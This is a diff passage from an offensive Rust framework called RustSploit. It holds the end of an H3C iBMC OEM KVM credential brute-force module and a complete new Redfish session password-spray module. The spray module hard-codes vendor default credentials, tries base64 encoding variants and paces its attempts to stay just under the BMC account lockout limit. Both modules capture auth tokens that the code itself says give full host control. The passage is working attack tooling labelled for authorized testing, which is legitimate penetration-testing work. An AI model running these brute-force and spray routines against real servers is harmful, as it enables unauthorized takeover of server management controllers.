POST /api/oem_kvm/session, which has no rate limiting on default \
|
||||
firmware builds. Tests every (user, password) pair in plaintext, \
|
||||
base64, and double-base64 encodings — the endpoint silently accepts \
|
||||
all three. A successful hit yields an X-Auth-Token that grants \
|
||||
virtual-media + reboot equivalents (full host compromise)."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/".to_string(),
|
||||
"https://cwe.mitre.org/data/definitions/307.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Excellent,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("h3c_oem_kvm_bruteforce requires a single-host target")?;
|
||||
|
||||
display_banner();
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let normalized = normalize_target(target)?;
|
||||
let host_input = if normalized.is_empty() {
|
||||
return Err(anyhow!("target is required"));
|
||||
} else {
|
||||
normalized
|
||||
};
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Target port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
|
||||
let path = cfg_prompt_default("path", "API path", DEFAULT_PATH).await?;
|
||||
let timeout_secs = cfg_prompt_int_range("timeout", "Per-attempt timeout (seconds)", DEFAULT_TIMEOUT_SECS as i64, 1, 60).await? as u64;
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try the built-in default credential list?", true).await?;
|
||||
let load_user_wordlist = cfg_prompt_yes_no("user_wordlist", "Load a username wordlist?", false).await?;
|
||||
let user_path = if load_user_wordlist {
|
||||
Some(cfg_prompt_existing_file("userlist", "Path to username wordlist").await?)
|
||||
} else { None };
|
||||
let load_pass_wordlist = cfg_prompt_yes_no("pass_wordlist", "Load a password wordlist?", false).await?;
|
||||
let pass_path = if load_pass_wordlist {
|
||||
Some(cfg_prompt_existing_file("passlist", "Path to password wordlist").await?)
|
||||
} else { None };
|
||||
let try_all_encodings = cfg_prompt_yes_no("try_all_encodings", "Try plain + base64 + double-base64 for each pair?", true).await?;
|
||||
let stop_on_hit = cfg_prompt_yes_no("stop_on_hit", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose (log each attempt)", false).await?;
|
||||
|
||||
// Build the candidate list.
|
||||
let mut pairs: Vec<(String, String)> = Vec::new();
|
||||
if use_defaults {
|
||||
for (u, p) in DEFAULT_CREDS { pairs.push((u.to_string(), p.to_string())); }
|
||||
}
|
||||
if let (Some(ufile), Some(pfile)) = (user_path.as_ref(), pass_path.as_ref()) {
|
||||
let users = read_lines(ufile).await?;
|
||||
let passwords = read_lines(pfile).await?;
|
||||
for u in &users {
|
||||
for p in &passwords {
|
||||
pairs.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else if let Some(pfile) = pass_path.as_ref() {
|
||||
let passwords = read_lines(pfile).await?;
|
||||
let users: Vec<&str> = if user_path.is_some() {
|
||||
return Err(anyhow!("internal: user_path branch handled above"));
|
||||
} else {
|
||||
// Default to "admin" if only a password wordlist was given.
|
||||
vec!["admin"]
|
||||
};
|
||||
for u in &users {
|
||||
for p in &passwords {
|
||||
pairs.push((u.to_string(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else if let Some(ufile) = user_path.as_ref() {
|
||||
let users = read_lines(ufile).await?;
|
||||
for u in &users {
|
||||
pairs.push((u.clone(), "admin".to_string()));
|
||||
pairs.push((u.clone(), "password".to_string()));
|
||||
pairs.push((u.clone(), u.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
if pairs.is_empty() {
|
||||
return Err(anyhow!("no candidate credentials configured — pick at least defaults or a wordlist"));
|
||||
}
|
||||
|
||||
let encodings: Vec<Encoding> = if try_all_encodings {
|
||||
vec![Encoding::Plain, Encoding::Base64, Encoding::DoubleBase64]
|
||||
} else {
|
||||
vec![Encoding::Plain]
|
||||
};
|
||||
|
||||
let host = format!("{}:{}", strip_scheme(&host_input), port);
|
||||
let client = build_http_client_with(
|
||||
Duration::from_secs(timeout_secs),
|
||||
HttpClientOpts::permissive_unconditional(),
|
||||
).context("Failed to build HTTP client")?;
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Target: https://{}{} ({} pair(s) × {} encoding(s) = {} attempts)",
|
||||
host, path, pairs.len(), encodings.len(), pairs.len() * encodings.len(),
|
||||
).cyan());
|
||||
|
||||
// How many times to re-attempt a single (user, pass, encoding) when the
|
||||
// endpoint returns a transient transport error before giving up on that
|
||||
// attempt. Without this, a momentary blip would silently drop a real hit.
|
||||
const MAX_TRANSIENT_RETRIES: u32 = 3;
|
||||
|
||||
let mut found: Vec<(String, String, Encoding, String)> = Vec::new();
|
||||
let mut tried = 0u64;
|
||||
'outer: for (user, pass) in &pairs {
|
||||
for enc in &encodings {
|
||||
if ctx.is_cancelled() { break 'outer; }
|
||||
tried += 1;
|
||||
|
||||
// Retry transient transport errors with exponential backoff so a
|
||||
// network blip never masquerades as a denied credential.
|
||||
let mut attempt = 0u32;
|
||||
let result = loop {
|
||||
if ctx.is_cancelled() { break 'outer; }
|
||||
ctx.rate_limit(target).await;
|
||||
match try_login(&client, &host, &path, user, pass, *enc).await {
|
||||
AttemptResult::Transient(msg) if attempt < MAX_TRANSIENT_RETRIES => {
|
||||
attempt += 1;
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[~] {}:{} ({}) transient error ({}); retry {}/{}",
|
||||
user, pass, enc.label(), msg, attempt, MAX_TRANSIENT_RETRIES
|
||||
).dimmed());
|
||||
}
|
||||
let backoff = Duration::from_millis(250u64 * (1u64 << (attempt - 1)));
|
||||
tokio::time::sleep(backoff).await;
|
||||
continue;
|
||||
}
|
||||
other => break other,
|
||||
}
|
||||
};
|
||||
|
||||
match result {
|
||||
AttemptResult::Hit(token) => {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[+] HIT: {}:{} ({}) -> X-Auth-Token={}",
|
||||
user, pass, enc.label(), token
|
||||
).green().bold());
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: &host, port, service: "https", username: user, secret: pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/generic/h3c_oem_kvm_bruteforce",
|
||||
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("H3C iBMC OEM KVM credentials valid {}:{} ({}) on {}", user, pass, enc.label(), host),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "https",
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"encoding": enc.label(),
|
||||
"token": token,
|
||||
})),
|
||||
});
|
||||
found.push((user.clone(), pass.clone(), *enc, token));
|
||||
if stop_on_hit { break 'outer; }
|
||||
}
|
||||
AttemptResult::Denied => {
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[-] {}:{} ({}) — denied", user, pass, enc.label()
|
||||
).dimmed());
|
||||
}
|
||||
}
|
||||
AttemptResult::Transient(msg) => {
|
||||
// Exhausted retries: surface as a Note so the operator
|
||||
// knows this pair was NOT actually tested (vs. denied),
|
||||
// and never treat it as a clean negative.
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] {}:{} ({}) — untested after {} transient error(s): {}",
|
||||
user, pass, enc.label(), MAX_TRANSIENT_RETRIES, msg
|
||||
).yellow());
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!(
|
||||
"H3C iBMC OEM KVM attempt {}:{} ({}) on {} could not be completed (transient error: {}); credential status unknown",
|
||||
user, pass, enc.label(), host, msg
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "https",
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"encoding": enc.label(),
|
||||
"error": msg,
|
||||
"tested": false,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] {} attempts; {} valid credential(s)",
|
||||
tried, found.len()
|
||||
).cyan().bold());
|
||||
|
||||
if found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid credentials found.".yellow());
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
/// Single login attempt. Returns an [`AttemptResult`] that lets the caller
|
||||
/// distinguish a valid credential (`Hit`) from a genuine rejection (`Denied`)
|
||||
/// and from a transient transport failure (`Transient`) — the latter must be
|
||||
/// retried rather than silently recorded as "credential not valid".
|
||||
async fn try_login(
|
||||
client: &reqwest::Client,
|
||||
host: &str,
|
||||
path: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
enc: Encoding,
|
||||
) -> AttemptResult {
|
||||
let url = format!("https://{}{}", host, path);
|
||||
let form = [
|
||||
("username", enc.encode(user)),
|
||||
("password", enc.encode(pass)),
|
||||
("free_login", "1".to_string()),
|
||||
("log_type", "1".to_string()),
|
||||
];
|
||||
|
||||
let resp = match client.post(&url).form(&form).send().await {
|
||||
Ok(r) => r,
|
||||
// Transport-level failures (timeout, connect refused, TLS, reset) are
|
||||
// transient: they say nothing about whether the credential is valid.
|
||||
Err(e) => return AttemptResult::Transient(format!("send: {e}")),
|
||||
};
|
||||
let status = resp.status();
|
||||
if status.as_u16() == 429 {
|
||||
if let Some(retry) = resp.headers().get("Retry-After")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.and_then(|v| v.parse::<u64>().ok())
|
||||
{
|
||||
tokio::time::sleep(Duration::from_secs(retry.min(60))).await;
|
||||
}
|
||||
// Rate-limited: not a denial — let the caller retry.
|
||||
return AttemptResult::Transient("429 rate limited".to_string());
|
||||
}
|
||||
// 5xx are server-side transient errors, not credential rejections.
|
||||
if status.is_server_error() {
|
||||
return AttemptResult::Transient(format!("server error {}", status.as_u16()));
|
||||
}
|
||||
if !status.is_success() {
|
||||
// 401/403/etc. — a definitive authentication rejection.
|
||||
return AttemptResult::Denied;
|
||||
}
|
||||
// Capture the token from the response HEADER before consuming the body —
|
||||
// Redfish-style BMCs return X-Auth-Token as a header, not (only) in the JSON.
|
||||
let header_token = match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
|
||||
Some(Ok(s)) if !s.is_empty() => Some(s.to_string()),
|
||||
Some(Err(e)) => {
|
||||
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
|
||||
None
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
// Body read failed mid-stream: transient, not a denial.
|
||||
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
|
||||
};
|
||||
// Require an actual token VALUE (header or parsed from the body). The old check
|
||||
// accepted the bare field NAME "X-Auth-Token" appearing anywhere in the body
|
||||
// and fell back to a "(present)" placeholder — both could store a
|
||||
// non-credential lifted from an error page.
|
||||
match header_token.or_else(|| extract_token(&body)) {
|
||||
Some(tok) if !tok.is_empty() => AttemptResult::Hit(tok),
|
||||
_ => AttemptResult::Denied,
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_token(body: &str) -> Option<String> {
|
||||
let needle = "X-Auth-Token";
|
||||
let pos = body.find(needle)?;
|
||||
let after = &body[pos + needle.len()..];
|
||||
let colon = after.find(':')?;
|
||||
let mut value_start = colon + 1;
|
||||
let bytes = after.as_bytes();
|
||||
while value_start < bytes.len() && bytes[value_start].is_ascii_whitespace() {
|
||||
value_start += 1;
|
||||
}
|
||||
if value_start >= bytes.len() { return None; }
|
||||
let rest = &after[value_start..];
|
||||
if let Some(stripped) = rest.strip_prefix('"') {
|
||||
let val: String = stripped.chars().take_while(|c| *c != '"').collect();
|
||||
if val.is_empty() { None } else { Some(val) }
|
||||
} else {
|
||||
let val: String = rest.chars().take_while(|c| !c.is_whitespace() && *c != ',' && *c != '}').collect();
|
||||
if val.is_empty() { None } else { Some(val) }
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let content = tokio::fs::read_to_string(path).await
|
||||
.with_context(|| format!("read {}", path))?;
|
||||
Ok(content.lines()
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn strip_scheme(host: &str) -> String {
|
||||
let mut t = host.trim().to_string();
|
||||
for prefix in &["https://", "http://"] {
|
||||
if let Some(stripped) = t.strip_prefix(prefix) {
|
||||
t = stripped.to_string();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if let Some(slash) = t.find('/') { t.truncate(slash); }
|
||||
if let Some(colon) = t.find(':') { t.truncate(colon); }
|
||||
t
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/h3c_oem_kvm_bruteforce", native);
|
||||
@@ -0,0 +1,442 @@
|
||||
//! H3C iBMC Redfish Session Credential Spray.
|
||||
//!
|
||||
//! H3C iBMC firmware exposes the standard Redfish session endpoint at
|
||||
//! `POST /redfish/v1/SessionService/Sessions`
|
||||
//! that:
|
||||
//!
|
||||
//! * accepts JSON credentials `{"UserName": "...", "Password": "..."}`;
|
||||
//! * returns `201 Created` with an `X-Auth-Token` header and `Location`
|
||||
//! header on success, `401 Unauthorized` or `403 Forbidden` on failure;
|
||||
//! * enforces an account lockout policy — on default H3C iBMC builds the
|
||||
//! BMC locks an account after **5 failed attempts** for a **5-second
|
||||
//! lockout duration** (discoverable via the AccountService resource).
|
||||
//!
|
||||
//! This module implements a **lockout-aware credential spray** strategy:
|
||||
//! * Tracks attempts per username and pauses for a configurable cooldown
|
||||
//! after `lockout_threshold` (default 4) consecutive failures on a
|
||||
//! given account — one attempt fewer than the BMC's hard limit.
|
||||
//! * Supports two ordering modes:
|
||||
//! - **spray** (default) — try password₁ against all users, then
|
||||
//! password₂ against all users, etc. This is the classic password-
|
||||
//! spray approach that distributes attempts across accounts.
|
||||
//! - **sequential** — try all passwords against user₁, then user₂,
|
||||
//! etc. Suitable when the operator knows lockout is disabled.
|
||||
//! * Honours `Retry-After` if the server surfaces a 429.
|
||||
//! * Persists discovered credentials via the project-wide credential
|
||||
//! store.
|
||||
//!
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::collections::HashMap;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no,
|
||||
normalize_target,
|
||||
};
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
const DEFAULT_PATH: &str = "/redfish/v1/SessionService/Sessions";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_LOCKOUT_THRESHOLD: i64 = 4;
|
||||
const DEFAULT_LOCKOUT_COOLDOWN_SECS: i64 = 6;
|
||||
|
||||
/// Built-in fallback credential pairs — mostly vendor defaults observed
|
||||
/// across H3C-OEM hardware deployments. Operators should prefer their own
|
||||
/// wordlist via `userlist`/`passlist`.
|
||||
const DEFAULT_CREDS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "Password@_"),
|
||||
("admin", "Password@123"),
|
||||
("admin", "h3capadmin"),
|
||||
("admin", "Admin@9000"),
|
||||
("Administrator", "Admin@9000"),
|
||||
("Administrator", "Administrator"),
|
||||
("sysadmin", "superuser"),
|
||||
("root", "root"),
|
||||
("root", "calvin"),
|
||||
("operator", "operator"),
|
||||
];
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
|
||||
crate::mprintln!("{}", "║ H3C iBMC Redfish Session Credential Spray ║".red().bold());
|
||||
crate::mprintln!("{}", "║ POST /redfish/v1/SessionService/Sessions ║".red());
|
||||
crate::mprintln!("{}", "║ Lockout-aware: pauses after N attempts per account ║".red());
|
||||
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "H3C iBMC Redfish Session Credential Spray".to_string(),
|
||||
description: "Lockout-aware credential spray against the H3C iBMC Redfish session \
|
||||
endpoint at POST /redfish/v1/SessionService/Sessions. Default H3C BMCs \
|
||||
lock accounts after 5 failed attempts for 5 seconds; this module tracks \
|
||||
per-account attempt counts and automatically pauses before triggering \
|
||||
lockout. Supports spray (rotate users) and sequential ordering modes. \
|
||||
A successful hit yields an X-Auth-Token granting full Redfish API access \
|
||||
(power control, virtual media, configuration)."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/".to_string(),
|
||||
"https://cwe.mitre.org/data/definitions/307.html".to_string(),
|
||||
"https://www.dmtf.org/standards/redfish".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Excellent,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("h3c_redfish_session_spray requires a single-host target")?;
|
||||
|
||||
display_banner();
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let normalized = normalize_target(target)?;
|
||||
let host_input = if normalized.is_empty() {
|
||||
return Err(anyhow!("target is required"));
|
||||
} else {
|
||||
normalized
|
||||
};
|
||||
|
||||
// ── Configuration prompts ───────────────────────────────────────────
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Target port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
|
||||
let path = cfg_prompt_default("path", "API path", DEFAULT_PATH).await?;
|
||||
let timeout_secs = cfg_prompt_int_range("timeout", "Per-attempt timeout (seconds)", DEFAULT_TIMEOUT_SECS as i64, 1, 60).await? as u64;
|
||||
|
||||
let lockout_threshold = cfg_prompt_int_range(
|
||||
"lockout_threshold",
|
||||
"Max attempts per account before cooldown (BMC locks at 5)",
|
||||
DEFAULT_LOCKOUT_THRESHOLD,
|
||||
1, 100,
|
||||
).await? as u32;
|
||||
|
||||
let lockout_cooldown_secs = cfg_prompt_int_range(
|
||||
"lockout_cooldown_secs",
|
||||
"Cooldown pause in seconds after threshold (BMC lockout is 5s)",
|
||||
DEFAULT_LOCKOUT_COOLDOWN_SECS,
|
||||
1, 300,
|
||||
).await? as u64;
|
||||
|
||||
let spray_mode = cfg_prompt_yes_no(
|
||||
"spray_mode",
|
||||
"Spray mode? (rotate users per password — safer for lockout avoidance)",
|
||||
true,
|
||||
).await?;
|
||||
|
||||
let stop_on_hit = cfg_prompt_yes_no("stop_on_hit", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose (log each attempt)", false).await?;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try the built-in default credential list?", true).await?;
|
||||
let load_user_wordlist = cfg_prompt_yes_no("user_wordlist", "Load a username wordlist?", false).await?;
|
||||
let user_path = if load_user_wordlist {
|
||||
Some(cfg_prompt_existing_file("userlist", "Path to username wordlist").await?)
|
||||
} else { None };
|
||||
let load_pass_wordlist = cfg_prompt_yes_no("pass_wordlist", "Load a password wordlist?", false).await?;
|
||||
let pass_path = if load_pass_wordlist {
|
||||
Some(cfg_prompt_existing_file("passlist", "Path to password wordlist").await?)
|
||||
} else { None };
|
||||
|
||||
// ── Build the candidate list ────────────────────────────────────────
|
||||
|
||||
let mut pairs: Vec<(String, String)> = Vec::new();
|
||||
if use_defaults {
|
||||
for (u, p) in DEFAULT_CREDS { pairs.push((u.to_string(), p.to_string())); }
|
||||
}
|
||||
if let (Some(ufile), Some(pfile)) = (user_path.as_ref(), pass_path.as_ref()) {
|
||||
let users = read_lines(ufile).await?;
|
||||
let passwords = read_lines(pfile).await?;
|
||||
for u in &users {
|
||||
for p in &passwords {
|
||||
pairs.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else if let Some(pfile) = pass_path.as_ref() {
|
||||
let passwords = read_lines(pfile).await?;
|
||||
// Default to "admin" if only a password wordlist was given.
|
||||
let users: Vec<&str> = vec!["admin"];
|
||||
for u in &users {
|
||||
for p in &passwords {
|
||||
pairs.push((u.to_string(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else if let Some(ufile) = user_path.as_ref() {
|
||||
let users = read_lines(ufile).await?;
|
||||
for u in &users {
|
||||
pairs.push((u.clone(), "admin".to_string()));
|
||||
pairs.push((u.clone(), "password".to_string()));
|
||||
pairs.push((u.clone(), u.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
if pairs.is_empty() {
|
||||
return Err(anyhow!("no candidate credentials configured — pick at least defaults or a wordlist"));
|
||||
}
|
||||
|
||||
// ── Derive ordered attempt list based on spray vs sequential ────────
|
||||
|
||||
let ordered_pairs: Vec<(String, String)> = if spray_mode {
|
||||
// Spray: try password₁ against all users, then password₂, etc.
|
||||
// Collect unique users and unique passwords (preserving order).
|
||||
let mut users: Vec<String> = Vec::new();
|
||||
let mut passwords: Vec<String> = Vec::new();
|
||||
let mut seen_users = std::collections::HashSet::new();
|
||||
let mut seen_passwords = std::collections::HashSet::new();
|
||||
for (u, p) in &pairs {
|
||||
if seen_users.insert(u.clone()) { users.push(u.clone()); }
|
||||
if seen_passwords.insert(p.clone()) { passwords.push(p.clone()); }
|
||||
}
|
||||
// Re-create the pair list in spray order: for each password, iterate
|
||||
// all users — but only include pairs that were in the original set.
|
||||
let pair_set: std::collections::HashSet<(String, String)> = pairs.iter().cloned().collect();
|
||||
let mut sprayed = Vec::new();
|
||||
for p in &passwords {
|
||||
for u in &users {
|
||||
if pair_set.contains(&(u.clone(), p.clone())) {
|
||||
sprayed.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
}
|
||||
sprayed
|
||||
} else {
|
||||
// Sequential: original order (all passwords per user).
|
||||
pairs
|
||||
};
|
||||
|
||||
let host = format!("{}:{}", strip_scheme(&host_input), port);
|
||||
let client = build_http_client_with(
|
||||
Duration::from_secs(timeout_secs),
|
||||
HttpClientOpts::permissive_unconditional(),
|
||||
).context("Failed to build HTTP client")?;
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Target: https://{}{} ({} pair(s), mode={}, lockout_threshold={}, cooldown={}s)",
|
||||
host, path, ordered_pairs.len(),
|
||||
if spray_mode { "spray" } else { "sequential" },
|
||||
lockout_threshold, lockout_cooldown_secs,
|
||||
).cyan());
|
||||
|
||||
// ── Attempt loop with per-account lockout tracking ──────────────────
|
||||
|
||||
// Track consecutive failed attempts per username.
|
||||
let mut attempt_counts: HashMap<String, u32> = HashMap::new();
|
||||
let mut found: Vec<(String, String, String)> = Vec::new();
|
||||
let mut tried = 0u64;
|
||||
|
||||
'outer: for (user, pass) in &ordered_pairs {
|
||||
if ctx.is_cancelled() { break 'outer; }
|
||||
|
||||
// Check if we need to cool down for this user.
|
||||
let count = attempt_counts.entry(user.clone()).or_insert(0);
|
||||
if *count >= lockout_threshold {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[~] Lockout threshold ({}) reached for '{}' — cooling down {}s ...",
|
||||
lockout_threshold, user, lockout_cooldown_secs
|
||||
).yellow());
|
||||
tokio::time::sleep(Duration::from_secs(lockout_cooldown_secs)).await;
|
||||
*count = 0;
|
||||
}
|
||||
|
||||
tried += 1;
|
||||
ctx.rate_limit(target).await;
|
||||
|
||||
match try_login(&client, &host, &path, user, pass).await {
|
||||
LoginResult::Success(token) => {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[+] HIT: {}:{} -> X-Auth-Token={}",
|
||||
user, pass, token
|
||||
).green().bold());
|
||||
|
||||
// Reset the counter — credential is valid, no lockout concern.
|
||||
attempt_counts.insert(user.clone(), 0);
|
||||
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: &host, port, service: "redfish", username: user, secret: pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/generic/h3c_redfish_session_spray",
|
||||
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!(
|
||||
"H3C iBMC Redfish session credentials valid {}:{} on {}",
|
||||
user, pass, host
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "redfish",
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"token": token,
|
||||
})),
|
||||
});
|
||||
found.push((user.clone(), pass.clone(), token));
|
||||
if stop_on_hit { break 'outer; }
|
||||
}
|
||||
LoginResult::Denied => {
|
||||
// Increment the per-user failure counter.
|
||||
*attempt_counts.entry(user.clone()).or_insert(0) += 1;
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[-] {}:{} — denied (attempt {}/{})",
|
||||
user, pass,
|
||||
attempt_counts.get(user).unwrap_or(&0),
|
||||
lockout_threshold,
|
||||
).dimmed());
|
||||
}
|
||||
}
|
||||
LoginResult::RateLimited(wait_secs) => {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[~] 429 rate-limited — waiting {}s ...", wait_secs
|
||||
).yellow());
|
||||
tokio::time::sleep(Duration::from_secs(wait_secs)).await;
|
||||
// Do not increment the failure counter for rate-limit responses;
|
||||
// the attempt was not actually evaluated by the BMC.
|
||||
}
|
||||
LoginResult::Error(msg) => {
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] {}:{} — error: {}", user, pass, msg
|
||||
).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Summary ─────────────────────────────────────────────────────────
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] {} attempts; {} valid credential(s)",
|
||||
tried, found.len()
|
||||
).cyan().bold());
|
||||
|
||||
if found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid credentials found.".yellow());
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
// ── Login attempt helpers ───────────────────────────────────────────────
|
||||
|
||||
enum LoginResult {
|
||||
/// Successful authentication — carries the X-Auth-Token value.
|
||||
Success(String),
|
||||
/// 401 / 403 — invalid credentials.
|
||||
Denied,
|
||||
/// 429 — server asked us to back off. Carries the wait duration in
|
||||
/// seconds (from Retry-After, capped at 60).
|
||||
RateLimited(u64),
|
||||
/// Transport or unexpected server error.
|
||||
Error(String),
|
||||
}
|
||||
|
||||
/// Single login attempt against the Redfish session endpoint.
|
||||
///
|
||||
/// On success (HTTP 201), extracts the `X-Auth-Token` response header.
|
||||
async fn try_login(
|
||||
client: &reqwest::Client,
|
||||
host: &str,
|
||||
path: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
) -> LoginResult {
|
||||
let url = format!("https://{}{}", host, path);
|
||||
let body = serde_json::json!({
|
||||
"UserName": user,
|
||||
"Password": pass,
|
||||
});
|
||||
|
||||
let resp = match client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/json")
|
||||
.json(&body)
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(r) => r,
|
||||
Err(e) => return LoginResult::Error(format!("{}", e)),
|
||||
};
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
201 => {
|
||||
// A genuine Redfish session-create returns 201 + X-Auth-Token. Without
|
||||
// that header it is NOT a usable session — don't store a credential on
|
||||
// a bare 201 (e.g. from a proxy/load-balancer). Previously a missing
|
||||
// token was stored as the literal "(header-missing)".
|
||||
match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
|
||||
Some(Ok(tok)) if !tok.is_empty() => LoginResult::Success(tok.to_string()),
|
||||
Some(Err(e)) => {
|
||||
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
|
||||
LoginResult::Error("X-Auth-Token header not readable".to_string())
|
||||
}
|
||||
_ => LoginResult::Error(
|
||||
"201 Created without X-Auth-Token — not a valid session".to_string(),
|
||||
),
|
||||
}
|
||||
}
|
||||
429 => {
|
||||
let wait = resp
|
||||
.headers()
|
||||
.get("Retry-After")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.and_then(|v| v.parse::<u64>().ok())
|
||||
.unwrap_or(5)
|
||||
.min(60);
|
||||
LoginResult::RateLimited(wait)
|
||||
}
|
||||
// Definitive negatives from a responding BMC (incl. 400/404/422 for a
|
||||
// malformed/missing-endpoint login) — Denied, not Error, so per-account
|
||||
// lockout tracking stays correct.
|
||||
400 | 401 | 403 | 404 | 422 => LoginResult::Denied,
|
||||
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
|
||||
